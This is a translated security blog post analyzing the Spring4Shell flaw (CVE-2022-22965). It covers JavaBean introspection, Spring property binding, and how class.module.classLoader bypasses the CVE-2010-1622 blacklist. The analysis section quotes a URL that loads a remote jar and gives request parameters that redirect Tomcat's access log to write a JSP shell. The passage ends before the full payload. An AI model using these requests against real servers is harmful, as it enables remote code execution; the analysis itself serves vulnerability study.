Analyzing Spring Framework RCE from the Ground Up

SummaryFirst published on Tiaotiaotang: http://tttang.com/archive/1532/ This blog is a backup. 0x01 Preface If asked to assess a CMS, where would you begin? Perhaps with the familiar body of code-auditing knowledge. But if asked to assess the Spring Framework itself, where would you begin? More broadly…

First published on the Tiaotiaotang community:http://tttang.com/archive/1532/ This blog serves as a backup

0x01 Preface

If asked to assess the security of a CMS, where would you begin?

Perhaps you would answer with the familiar body of code-auditing knowledge.

If asked to assess the security of the Spring Framework, where would you begin?

More broadly, if asked to assess the security of a large open-source component, where would you begin?

Since Spring Framework RCE CVE-2022-22965 was disclosed, I have been considering one question.

If I had independently assessed a framework like Spring, could I have discovered this vulnerability?

My conclusion is no.

I identified three principal causes.

First is weak fundamentals. Without understanding Spring Framework's internal mechanisms and distinctive implementations, you cannot find their weaknesses.

This is intuitive: if you do not understand something, you cannot understand its weaknesses.

Second is insufficient accumulation. If you do not know which problems have previously affected Spring Framework, how can you judge whether an old vulnerable path can be bypassed?

This point is simple, but it is also easy to dismiss. A common reaction is that a vulnerability more than a decade old cannot be very interesting and that recent vulnerabilities deserve more attention.

Third is breadth of knowledge. If you do not know that a JDK feature exists or how it is used, how could you discover a bypass based on it?

This is the hardest weakness to address. Security knowledge is too broad for anyone to cover completely. The key is not achieving 100% breadth, but acquiring enough relevant breadth to reach the goal at hand.

How should these three issues be addressed? I give my view at the end of the article.

The following starts fromFundamentalstoVulnerability PrinciplestoVulnerability Fixanalyze the Spring Framework RCE vulnerability.

0x02 Fundamentals

java.lang.Class

Java has two relevant kinds of object: Class objects and instance objects.

An instance object is an instance of a class, usually constructed with new. A Class object is generated by the JVM to store information about an object's class.

Every class written in code is both a class with instances and an object of java.lang.Class. In other words, each class has its own instance objects and is itself represented by a Class object.

java.lang.Class documents its constructor as follows:

TEXT
    /*
     * Private constructor. Only the Java Virtual Machine creates Class objects.
     * This constructor is not used and prevents the default constructor being
     * generated.
     */
    private Class(ClassLoader loader, Class<?> arrayComponentType) {
        // Initialize final field for classLoader.  The initialization value of non-null
        // prevents future JIT optimizations from assuming this final field is null.
        classLoader = loader;
        componentType = arrayComponentType;
    }

Private constructor. Only the Java Virtual Machine creates Class objects. This constructor is not used and prevents the default constructor being generated.

The Class constructor is private; only the JVM can create Class objects. We cannot declare one with new. Attempting new Class produces an error, as shown below:

1.png

Although Class cannot be instantiated with new, Class objects can still be obtained through a class's static fields or through

java.lang.Object.getClass() returns the runtime class object. It can also be obtained through Class.forName():

2.png

Another way to understand it is this: after obtaining a class object, we can invoke methods of that class. A Class object indirectly gives access to the represented class's objects, and invoking an instance method through it is equivalent to calling that method on the instance.

JavaBean

Before introducing Spring beans, we need some understanding of JavaBeans. The official definition is:

A JavaBean is a reusable component written in Java. A JavaBean class must be concrete and public and have a no-argument constructor. It exposes internal state as properties through public methods that follow consistent naming conventions. Other Java classes can discover and manipulate those properties through introspection.

The official wording may sound complex. Syntactically, a JavaBean is simply a class: if a class follows the JavaBean standard, it is a JavaBean. The standard requires:

  • Every class must be declaredpublic, so it can be accessed externally;
  • Every property in the class must be encapsulated, namely declared withprivatedeclaration;
  • If an encapsulated property must be manipulated externally, a corresponding must be providedsettergettermethod;
  • A JavaBean must have at least one no-argument constructor

For example:

TEXT
public class Person {
    private String name;
    private int age;

    public String getName() {
      return this.name;
    }
    public void setName(String name) {
      this.name = name;
    }
    public int getAge() {
      return this.age;
    }
    public void setAge(int age) {
      this.age = age;
    }
}

The Person class's read and write methods follow this naming convention:

TEXT
// read method:
public Type getXyz()
// write method:
public void setXyz(Type value)

This Person class is therefore a JavaBean.

Read and write method names respectively begin withgetandsetand is followed by a field name beginning with an uppercase letterXyz

The two method names for reading and writing are thereforegetXyz()andsetXyz()

Here,getName()getAge()gsetName()setAge()follows this convention

However,booleanfield is special; its read method is usually namedisXyz()

For example:

TEXT
// read method:
public boolean isChild()
// write method:
public void setChild(boolean value)

A corresponding read method (getter) and write method (setter) is called a property (property). For example, in the Person class,nameproperty:

  • corresponding read method isString getName()
  • corresponding write method issetName(String)

Onlygetterproperty is called read-only. For example, define a read-only age property:

  • corresponding read method isint getAge()
  • Nonecorresponding write methodsetAge(int)

Similarly, onlysetterproperty is called write-only. Read-only properties are common; write-only properties are not.

By this point, it should be clear that you have written many JavaBeans yourself. When using in an IDE Generate Getters and Setters, then select the items to generate in the dialoggetterandsettermethod's field, it is creating a JavaBean

JavaBeans primarily carry data, grouping related values into a reusable object for transport.

The Introspector in the Java core library can obtain every property of a JavaBean and its corresponding read and write methods:

TEXT
import java.beans.BeanInfo;
import java.beans.IntrospectionException;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class ClassTest {
    public static void main(String[] args) throws ClassNotFoundException, IntrospectionException {
        BeanInfo info = Introspector.getBeanInfo(Person.class);
        for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
            System.out.println(pd.getName());
            System.out.println("    [*]" + pd.getReadMethod());
            System.out.println("    [*]" + pd.getWriteMethod());

        }
    }
}

The result is shown below:

3.png

The output contains not only Person's name and age properties, but also a class property with a getClass() method. Object is the parent of every Java class, so every class inherits its methods. The class property comes from Object.getClass()method enables this.

Introspection

Introspection is Java's default mechanism for processing JavaBean properties and events.

Suppose the following class exists:

TEXT
public class Person {
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

Person has a name property with corresponding setter and getter methods, so values can be assigned and retrieved through them. That is the default rule.

The Java JDK provides APIs for accessing a property's getter and setter methods. This is introspection.

The principal JDK introspection classes are:

The Introspector Class

Introspection encapsulates JavaBean properties for manipulation. When a program treats a class as a JavaBean, it calls Introspector.getBeanInfo(). The returned BeanInfo encapsulates the resulting property information.

getPropertyDescriptors() obtains property descriptors. Iterating over BeanInfo can locate and set class properties.

The BeanInfo Interface

BeanInfo is an interface implemented by GenericBeanInfo. It exposes the different descriptor types for a class. Its main methods are:

1. BeanDescriptor getBeanDescriptor(): obtains the JavaBean descriptor

2. EventSetDescriptor[] getEventSetDescriptors(): obtains every EventSetDescriptor of the JavaBean

3. PropertyDescriptor[] getPropertyDescriptors(): obtains every PropertyDescriptor of the JavaBean

4. MethodDescriptor[] getMethodDescriptors(): obtains every MethodDescriptor of the JavaBean

The PropertyDescriptor Class

PropertyDescriptor represents a property exported by a JavaBean through accessor methods. Its main methods are:

TEXT
   1. getPropertyType() — returns the Class object of the property;
   2. getReadMethod() — returns the method that reads the property value; getWriteMethod() — returns the method that writes it;
   3. hashCode() — returns the hash value of the object;
   4. setReadMethod(Method readMethod) — sets the method used to read the property value;
   5. setWriteMethod(Method writeMethod) — sets the method used to write the property value.

Both Introspector and PropertyDescriptor ultimately obtain a PropertyDescriptor, but in different ways. Introspector requires iteration, while PropertyDescriptor can be constructed directly, making it more convenient.

Third-party introspection libraries also exist, such as Apache BeanUtils.

One important fact about introspection is that every class extends Object, and Object defines getClass(). Java introspection therefore treats class as a discoverable property whenever either a getter or setter exists.

SpringBean

Spring bean is a collective term for transaction components and entity-class POJOs: Java objects that can be instantiated and managed by the Spring container.

Official descriptions can be abstract. A Spring bean can be thought of as a less constrained and more capable counterpart to a JavaBean.

JavaBeans require getters or setters for properties and impose other conventions, but the Spring container places no such strict requirements on beans. A Spring bean need not provide a getter and setter for every property. Even so, Spring beans should generally follow these principles:

  • Whenever possible, provide a no-argument constructor for each bean implementation
  • A bean receiving constructor injection should provide the corresponding constructor.
  • A bean receiving property injection should provide the corresponding setter; a getter is not required.

Imagine Spring as a large factory. Beans in the Spring container are its products, created and managed by that container.

Previously, using an object required us to create itnewourselves. Now the Spring factory manages production for us, and we only need to use the result.

Spring cannot create something that has never been defined. If the factory can only produce toothbrushes but you also need tissues, you must develop the tissue bean, configure its required materials—the bean properties—and then let Spring produce it before use.

Spring's job is to create bean instances from configuration and invoke their methods to perform dependency injection.

In short, a Spring bean is an object managed by the Spring framework at runtime and is a fundamental building block of every Spring application. Most application logic written with Spring resides in Spring beans.

Creating Spring Beans

Spring beans can be created and assembled in many ways. For brevity, this article gives only a simple XML-based example.

Suppose a configuration file contains:

TEXT
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns="http://www.springframework.org/schema/beans"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
    <bean id="bean1" class="com.Person">
        <constructor-arg value="panda"/>
        <constructor-arg value="18"/>
    </bean>
</beans>

then Spring effectively calls:

TEXT
Bean bean = new com.Person("panda","18");

This looks simple, but Spring does substantial work for us. The process can be illustrated with aFlowchartto illustrate:

4.png

The core process has four main steps:

  • First, callcreateBeanInstance(String beanName, RootBeanDefinition mbd, Object[] args)method to create the bean
  • Second, check singleton beans for circular dependencies
  • Third, callpopulateBean(beanName, mbd, instanceWrapper)to populate the newly created bean's properties
  • Fourth, callinitializeBean(beanName, exposedObject, mbd)to initialize the bean

Using Spring Beans

For bean usage, seeOnlinediagram, which I redrew:

5.jpg

When a Spring application starts, the framework first creates a special object called ApplicationContext. Also known as the inversion-of-control container, it is the framework's core. The ApplicationContext stores every bean managed by Spring.

BeanFactory defines the principal features of an IoC container. In Spring, interfaces whose names end in Registry define bean registration. Their implementations are the home of Spring BeanDefinitions and contain all bean configuration, so they can be viewed as the Spring bean registry.

When a Spring bean is needed, its configuration is first obtained from the registry and used to instantiate it. The instance is mapped into the Spring container and stored in the bean cache. The application retrieves it from that cache when needed.

Spring Bean Property Population

The preceding section described bean creation: Spring first uses reflection to create a raw bean object, then populates that object with properties.

In simple terms, each JavaBean property normally has getter and setter methods, and we can call the setter directly to assign a property value.

Property population is more involved than this. Spring configuration stores every value as a string, so assigning it to an object's member variable requires conversion to the variable's type.

Collection configurations must also be converted into the corresponding collection objects before later processing.

If autowiring is configured with byName or byType, Spring must also find appropriate values for the autowired properties.

The complete property-population process is clearly complex; it is not merely a call to a setter.

As mentioned under Spring bean creation, DefaultListableBeanFactory#populateBean is the entry point for property population. Spring populates bean properties by invoking this method.

Because of space, I will not trace every source-code step in Spring IoC bean property population. The following covers only the key points.

  • Obtain bean property values from RootBeanDefinition and inject them

This is autowiring, performed throughAbstractBeanDefinition#getResolvedAutowireMode()return value determines which injection method is used:

TEXT
//<1> get the resolvedAutowireMode code
int resolvedAutowireMode = mbd.getResolvedAutowireMode();
    // AUTOWIRE_BY_NAME is 1 and AUTOWIRE_BY_TYPE is 2
        // 1 means inject by name, 2 means inject by type
    if (resolvedAutowireMode == AUTOWIRE_BY_NAME || resolvedAutowireMode == AUTOWIRE_BY_TYPE) {
        // wrap the PropertyValues into a MutablePropertyValues object
        // MutablePropertyValues can deep-copy constructor arguments and manipulate properties, which keeps our property values independent
        MutablePropertyValues newPvs = new MutablePropertyValues(pvs);
        // Add property values based on autowire by name if applicable.
        // autowire by name
        if (resolvedAutowireMode == AUTOWIRE_BY_NAME) {
            autowireByName(beanName, mbd, bw, newPvs);
        }
        // Add property values based on autowire by type if applicable.
        // autowire by type
        if (resolvedAutowireMode == AUTOWIRE_BY_TYPE) {
            autowireByType(beanName, mbd, bw, newPvs);
        }
        pvs = newPvs;
    }

Spring autowiring locates beans through a class's setter methods. byName searches using the property name corresponding to a setter, while byType searches using the setter's parameter type.

  • Parse annotations and inject values

After Spring autowiring completes, BeanPostProcessor parses @Autowired, @Resource, and @Value and injects their values.

TEXT
for (BeanPostProcessor bp : getBeanPostProcessors()) {
            if (bp instanceof InstantiationAwareBeanPostProcessor) {
                InstantiationAwareBeanPostProcessor ibp = (InstantiationAwareBeanPostProcessor) bp;

                // BeanPostProcessor resolves @Autowired, @Resource and @Value into injected property values
                // the post-processor collects the dependent properties and their values here; AutowiredAnnotationBeanPostProcessor is what pulls them out
                PropertyValues pvsToUse = ibp.postProcessProperties(pvs, bw.getWrappedInstance(), beanName);

                if (pvsToUse == null) {
                    if (filteredPds == null) {
                        filteredPds =filterPropertyDescriptorsForDependencyCheck(bw, mbd.allowCaching);
                    }
                    pvsToUse = ibp.postProcessPropertyValues(pvs, filteredPds, bw.getWrappedInstance(), beanName);
                    if (pvsToUse == null) {
                        return;
                    }
                }
                pvs = pvsToUse;
            }
        }
  • parses them and stores them together in PropertyValues

The preceding step only resolves dependencies; it does not immediately inject them. applyPropertyValues injects every property value into the bean in one operation.

TEXT
if (pvs != null) {
        applyPropertyValues(beanName, mbd, bw, pvs);
    }
}

This method mainly implements the following logic:

  • If a property value requires no conversion, inject it directly
  • When conversion is required, the value is converted to the corresponding property type, assigned, and finally injected.

Injection here is performed by setPropertyValues, whose call stack ultimately assigns properties by invoking the object's setter methods:

TEXT
public class BeanWrapperImpl extends AbstractNestablePropertyAccessor implements BeanWrapper {

    ......

    private class BeanPropertyHandler extends PropertyHandler {

        public void setValue(final Object object, Object valueToApply) throws Exception {
            // get writeMethod, i.e. the setter
            final Method writeMethod = this.pd.getWriteMethod();
            if (!Modifier.isPublic(writeMethod.getDeclaringClass().getModifiers()) && !writeMethod.isAccessible()) {
                writeMethod.setAccessible(true);
            }
            final Object value = valueToApply;
            // call the setter; getWrappedInstance() returns the bean object
            writeMethod.invoke(getWrappedInstance(), value);
        }
    }
}

In summary, property values are first obtained from the BeanDefinition, wrapped in a MutablePropertyValues object, processed through several stages, and finally applied to the concrete bean through applyPropertyValues.

Spring Bean Scopes

Spring bean scopes are not central to this article, but they are interesting enough to mention briefly.

When the Spring container creates a bean, it can both instantiate it and assign a specific scope.

Spring supports five scopes:

  • singleton: Singleton scope: when Spring creates the ApplicationContext, it eagerly initializes instances in this scope unless lazy-init is enabled.
  • prototype: Prototype scope: each getBean call creates a new instance, after which Spring no longer manages it.
  • request: For request-scoped beans, each HTTP request receives a new instance. This scope applies only to web applications. Unlike prototype scope, Spring continues to track and manage the instance after creation for the lifetime of the request.
  • session: For session-scoped beans, every HTTP session receives a new instance, so different sessions have different bean instances. Like request scope, this applies only to web applications.
  • global session: Global web scope, similar to servlet application scope.

Singleton and prototype scopes are the most common.

If a bean instance is singleton-scoped,then every request for the bean receives the same instance. The container tracks the bean's state and maintains its lifecycle.

If a bean is prototype-scoped, each request creates and returns a new instance. The Spring container merely instantiates it with new; after creation, it no longer tracks the instance or maintains its state.

If no bean scope is specified, Spring defaults to singleton scope. A Spring Boot controller without an explicit scope is therefore a singleton. Because a singleton is shared, it is not inherently thread-safe; using non-static member variables can introduce logic vulnerabilities.

For example, consider this controller:

TEXT
package com.example.beantest.controller;

import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@ResponseBody
public class ScopeTestController {

    private int code = 0;

    @RequestMapping("/admin")
    public String testScope() {
        ++code;
        if (code > 0) {
           return "code:" + code + "<br>" + "You are admin";
        }else {
            return "code:" + code + "<br>" + "    You are user";
        }
    }

    @RequestMapping("/user")
    public String testScope2() {
        --code;
        if (code <= 0) {
            return "code:" + code + "<br>" + "You are user";
        }else {
            return "code:" + code + "<br>" + "You are admin";
        }
    }

}

The logic is simple. If we first visit http://localhost:8080/admin , then visithttp://localhost:8080/user it reports:

6.png

But if we visit twicehttp://localhost:8080/admin , then visit againhttp://localhost:8080/user it reports:

7.png

The code value increases with each visit to the admin page. After two visits it reaches 2, causing a logic error for the user path.

If @Scope("prototype") is added below @Controller, changing the scope to prototype, the problem disappears:

8.png

The example shows that singleton state can be unsafe and reused across requests. But prototype scope should not be used indiscriminately either. Creating a Java instance allocates memory, and destroying one requires garbage collection, increasing system overhead. Prototype-scoped beans are expensive to create and destroy, while a singleton can be reused after creation. Unless necessary, avoid prototype scope. In practice, few people would write the preceding example this way.

With these fundamentals covered, we can examine how the vulnerability works.

0x03 Analysis

This vulnerability can be viewed as a bypass of CVE-2010-1622, so the two should be analyzed together.

Suppose the following Person class exists:

TEXT
public class Person {
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

Suppose the following controller exists:

TEXT
@Controller
@ResponseBody
public class IndexController {

    @GetMapping("index")
    public String index(Person person){
        return "Your name is :  "+ person;
    }

}

How would we pass a name value to the index method?

Exactly—request directly http://localohst:8080/index?name=panda

9.png

After the request completes, indexController automatically turns name=panda into an object person.name value. All of this happens automatically through bean property injection, corresponding to Spring bean property population.

You can trace this yourself. When the project starts, set a breakpoint in populateBean to see indexController initialized as a bean and loaded into the Spring container.

10.png

After initialization, setting values on the bean enters setPropertyValues as described earlier and eventually reaches BeanPropertyHandler, wheresetValue()Call the object's setter method to assign the property:

1.png.png

One might expect Person to have only the name property, but that is not true.

Recall what we said earlier:

Object is the parent of every Java class. Every class therefore inherits Object's methods, including the class property exposed through getClass().getClass()method enables this.

Exactly: besides name, there is a property called class, which can be obtained as follows:

12.png

If an object has a property named class with a getClass() method, what can we do with it?

Yes. This means every object can use:

TEXT
http://localohst:8080/index?class=xxxx

method to obtain the Class object

The class property is not a primitive type. If we submit primitive data, Spring's property-population type conversion filters it out; the assigned object must match the declared type. But the submitted value is only a string, so we cannot directly pass an object.

What should we do?

Object.getClass() returns a Class object:

TEXT
  public final native Class<?> getClass();

Every class has a class property and is represented by a Class object.

Recall the point made earlier:

After obtaining a class object, we can call methods on that class. Obtaining a Class object indirectly provides access to objects of classes represented by Class, and invoking an instance method through that Class is equivalent to invoking it on the instance.

If these objects expose a usable setXxxxx method, it can be reached through the Class object.

Let us search class for such a property:

TEXT
 @Test
    public void test() throws IntrospectionException {
        BeanInfo info = Introspector.getBeanInfo(Class.class);
        for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
            System.out.println(pd.getName());
            System.out.println("    [*]" + pd.getReadMethod());
            System.out.println("    [*]" + pd.getWriteMethod());
        }
    }

Many are visible:

TEXT
annotatedInterfaces
    [*]public java.lang.reflect.AnnotatedType[] java.lang.Class.getAnnotatedInterfaces()
    [*]null
annotatedSuperclass
    [*]public java.lang.reflect.AnnotatedType java.lang.Class.getAnnotatedSuperclass()
    [*]null
annotation
    [*]public boolean java.lang.Class.isAnnotation()
    [*]null
annotations
    [*]public java.lang.annotation.Annotation[] java.lang.Class.getAnnotations()
    [*]null
anonymousClass
    [*]public boolean java.lang.Class.isAnonymousClass()
    [*]null
array
    [*]public native boolean java.lang.Class.isArray()
    [*]null
canonicalName
    [*]public java.lang.String java.lang.Class.getCanonicalName()
    [*]null
class
    [*]public final native java.lang.Class java.lang.Object.getClass()
    [*]null
classLoader
    [*]public java.lang.ClassLoader java.lang.Class.getClassLoader()
    [*]null
classes
    [*]public java.lang.Class[] java.lang.Class.getClasses()
    [*]null
componentType
    [*]public native java.lang.Class java.lang.Class.getComponentType()
    [*]null
constructors
    [*]public java.lang.reflect.Constructor[] java.lang.Class.getConstructors() throws java.lang.SecurityException
    [*]null
declaredAnnotations
    [*]public java.lang.annotation.Annotation[] java.lang.Class.getDeclaredAnnotations()
    [*]null
declaredClasses
    [*]public java.lang.Class[] java.lang.Class.getDeclaredClasses() throws java.lang.SecurityException
    [*]null
declaredConstructors
    [*]public java.lang.reflect.Constructor[] java.lang.Class.getDeclaredConstructors() throws java.lang.SecurityException
    [*]null
declaredFields
    [*]public java.lang.reflect.Field[] java.lang.Class.getDeclaredFields() throws java.lang.SecurityException
    [*]null
declaredMethods
    [*]public java.lang.reflect.Method[] java.lang.Class.getDeclaredMethods() throws java.lang.SecurityException
    [*]null
declaringClass
    [*]public java.lang.Class java.lang.Class.getDeclaringClass() throws java.lang.SecurityException
    [*]null
enclosingClass
    [*]public java.lang.Class java.lang.Class.getEnclosingClass() throws java.lang.SecurityException
    [*]null
enclosingConstructor
    [*]public java.lang.reflect.Constructor java.lang.Class.getEnclosingConstructor() throws java.lang.SecurityException
    [*]null
enclosingMethod
    [*]public java.lang.reflect.Method java.lang.Class.getEnclosingMethod() throws java.lang.SecurityException
    [*]null
enum
    [*]public boolean java.lang.Class.isEnum()
    [*]null
enumConstants
    [*]public java.lang.Object[] java.lang.Class.getEnumConstants()
    [*]null
fields
    [*]public java.lang.reflect.Field[] java.lang.Class.getFields() throws java.lang.SecurityException
    [*]null
genericInterfaces
    [*]public java.lang.reflect.Type[] java.lang.Class.getGenericInterfaces()
    [*]null
genericSuperclass
    [*]public java.lang.reflect.Type java.lang.Class.getGenericSuperclass()
    [*]null
interface
    [*]public native boolean java.lang.Class.isInterface()
    [*]null
interfaces
    [*]public java.lang.Class[] java.lang.Class.getInterfaces()
    [*]null
localClass
    [*]public boolean java.lang.Class.isLocalClass()
    [*]null
memberClass
    [*]public boolean java.lang.Class.isMemberClass()
    [*]null
methods
    [*]public java.lang.reflect.Method[] java.lang.Class.getMethods() throws java.lang.SecurityException
    [*]null
modifiers
    [*]public native int java.lang.Class.getModifiers()
    [*]null
name
    [*]public java.lang.String java.lang.Class.getName()
    [*]null
package
    [*]public java.lang.Package java.lang.Class.getPackage()
    [*]null
primitive
    [*]public native boolean java.lang.Class.isPrimitive()
    [*]null
protectionDomain
    [*]public java.security.ProtectionDomain java.lang.Class.getProtectionDomain()
    [*]null
signers
    [*]public native java.lang.Object[] java.lang.Class.getSigners()
    [*]null
simpleName
    [*]public java.lang.String java.lang.Class.getSimpleName()
    [*]null
superclass
    [*]public native java.lang.Class java.lang.Class.getSuperclass()
    [*]null
synthetic
    [*]public boolean java.lang.Class.isSynthetic()
    [*]null
typeName
    [*]public java.lang.String java.lang.Class.getTypeName()
    [*]null
typeParameters
    [*]public java.lang.reflect.TypeVariable[] java.lang.Class.getTypeParameters()
    [*]null

Many methods exist, but that does not make them useful. None of them is a setXxxx method. What can we do?

The answer is introspection.

Passing a value enters CachedIntrospectionResults:

222.png

This method shows the classic invocation of the JDK Introspector:Introspector.getBeanInfo, thereby obtaining a property with no setter. After resolving it through a series of calls, execution entersnewValue()method

14.png

The assignment in this method is performed through Array.set.

Therefore, even without a setXxxx method, Java introspection can still assign the value.

Returning to the list, the only item that currently appears practically exploitable is:

TEXT
classLoader
    [*]public java.lang.ClassLoader java.lang.Class.getClassLoader()
    [*]null

A classLoader controls the loading of every class and can help modify values on objects involved in class loading. The concrete classLoader differs across runtime environments because web containers implement it differently.

We now know classLoader can be used. How can it be exploited?

The earlier class=xxxx example assigns a value directly. How can class reach classLoader, and classLoader reach further properties?

The Spring bean parsing flow differs from direct request-parameter binding. The latter is outside this article's scope; interested readers can search for Spring MVC parameter binding.

For the former, Spring defines separators in PropertyAccessor:

TEXT
public interface PropertyAccessor {

    /**
     * Path separator for nested properties.
     * Follows normal Java conventions: getFoo().getBar() would be "foo.bar".
     */
    String NESTED_PROPERTY_SEPARATOR = ".";

    /**
     * Path separator for nested properties.
     * Follows normal Java conventions: getFoo().getBar() would be "foo.bar".
     */
    char NESTED_PROPERTY_SEPARATOR_CHAR = '.';

    /**
     * Marker that indicates the start of a property key for an
     * indexed or mapped property like "person.addresses[0]".
     */
    String PROPERTY_KEY_PREFIX = "[";

    /**
     * Marker that indicates the start of a property key for an
     * indexed or mapped property like "person.addresses[0]".
     */
    char PROPERTY_KEY_PREFIX_CHAR = '[';

    /**
     * Marker that indicates the end of a property key for an
     * indexed or mapped property like "person.addresses[0]".
     */
    String PROPERTY_KEY_SUFFIX = "]";

    /**
     * Marker that indicates the end of a property key for an
     * indexed or mapped property like "person.addresses[0]".
     */
    char PROPERTY_KEY_SUFFIX_CHAR = ']';

This interface defines the nested-property path separator., following normal Java conventions. A Java call getFoo().getBar() corresponds here to foo.bar.

The interface also defines PROPERTY_KEY_PREFIX to mark the beginning of an indexed or mapped property key, such as person.addresses[0].

In other words, the Spring bean binding process uses.as the separator for recognizing and splitting the supplied property path. The logic is:

TEXT
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
        // get the first segment of the nested property
        // for example, for the property foo.bar[0].name
        // first find the index of foo
        // getFirstNestedPropertySeparatorIndex does the detailed work
        int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
        // Handle nested properties recursively.
        // handle nested properties recursively
        if (pos > -1) {
            // get the containing property and the name of the property to read
            String nestedProperty = propertyPath.substring(0, pos);
            String nestedPath = propertyPath.substring(pos + 1);
            AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
            // recursive call
            return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
        }
        else {
            return this;
        }
    }

Examine getFirstNestedPropertySeparatorIndex:

TEXT
private static int getNestedPropertySeparatorIndex(String propertyPath, boolean last) {
        boolean inKey = false;
    // get the length of the property path
        int length = propertyPath.length();
        int i = (last ? length - 1 : 0);
        while (last ? i >= 0 : i < length) {
      // walk every character; an inKey flag is added so that
          // [ and ] can be matched as pairs
            switch (propertyPath.charAt(i)) {
                case PropertyAccessor.PROPERTY_KEY_PREFIX_CHAR:
                case PropertyAccessor.PROPERTY_KEY_SUFFIX_CHAR:
                    inKey = !inKey;
                    break;
                case PropertyAccessor.NESTED_PROPERTY_SEPARATOR_CHAR:
          // a '.' means a nested property, and inKey = false means the [ ] before it were balanced
                // return the matching index
                    if (!inKey) {
                        return i;
                    }
            }
            if (last) {
                i--;
            }
            else {
                i++;
            }
        }
        return -1;
    }

The method first obtains the property-path length, then iterates over every character and checks the property-key opening symbol[checks them as pairs. If the path contains., Spring treats the path as nested and returns to getPropertyAccessorForPropertyPath to process it recursively.

The idea should now be clear. To reach the classLoader property through class, use class.classLoader.

As noted earlier, Java introspection can perform assignment. We therefore only need to find an exploitable property under classLoader to reach our objective—RCE.

CVE-2010-1622 was exploited through

TEXT
http://localhost:8080/index?class.classLoader.URLs[0]=jar:http://xxxx.com/exp.jar!/

setPropertyValue passesjar:http://xxxx.com/exp.jar!/parameter into URLs[]. During JSP rendering, a sequence of class calls loads exp.jar and triggers RCE.

After CVE-2010-1622, both Spring and Tomcat shipped fixes.

Starting in Tomcat 6.0.28, getURLs returns a clone, preventing modifications to the classLoader's URL[] through the returned value.

Spring's fix checks beanInfo in CachedIntrospectionResults and adds classLoader to a blacklist:

15.png

CVE-2022-22965 bypasses this check. Since JDK 9, Java has included modules. The module property can reach methods under a JDK module, and module was not blacklisted, allowing the blacklist to be bypassed.

For example: class.module.classLoader.xxxx

Tomcat has already eliminated the URL[] approach. How can it be exploited now?

The mainstream exploitation technique writes a shell through Tomcat access logging.

AccessLogValve can configure access logs in conf/server.xml, for example:

TEXT
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="access." suffix=".log"
        pattern="%h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i" %{X-Forwarded-For}i "%Dms"" resolveHosts="false"/>

Then the following file is generated in the specified directory:access.logfile

As noted earlier, everything in Spring is a bean. Properties loaded from XML can therefore be modified through binding, but the useful property must be found by enumeration:

TEXT
    @RequestMapping("/testclass")
    public void classTest(){
        HashSet<Object> set = new HashSet<Object>();
        String poc = "class.moduls.classLoader";
        User action = new User();
        processClass(action.getClass().getClassLoader(),set,poc);
    }

        public void processClass(Object instance, java.util.HashSet set, String poc){
        try {
            Class<?> c = instance.getClass();
            set.add(instance);
            Method[] allMethods = c.getMethods();
            for (Method m : allMethods) {
                if (!m.getName().startsWith("set")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=1) continue;

                if(pType[0].getName().equals("java.lang.String")||
                        pType[0].getName().equals("boolean")||
                        pType[0].getName().equals("int")){
                    String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
                    System.out.println(poc+"."+fieldName);
//                    System.out.println(m.getName());
                }
            }
            for (Method m : allMethods) {
                if (!m.getName().startsWith("get")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=0) continue;
                if(m.getReturnType() == Void.TYPE) continue;
                m.setAccessible(true);
                Object o = m.invoke(instance);
                if(o!=null)
                {
                    if(set.contains(o)) continue;

                    processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
                }
            }
        } catch (IllegalAccessException | InvocationTargetException x) {
            x.printStackTrace();
        }
    }

The following properties are visible:

TEXT
class.classLoader.resources.context.parent.pipeline.first.directory =
class.classLoader.resources.context.parent.pipeline.first.prefix =
class.classLoader.resources.context.parent.pipeline.first.suffix =
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =

can be combined to create a file with a chosen extension at a specified path

I will omit how this was discovered, because Struts2 S2-020 already used the same technique. See:https://cloud.tencent.com/developer/article/1035297

Unlike the preceding approach, I find the EL-expression method more convenient. Submit the following requests in order:

TEXT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
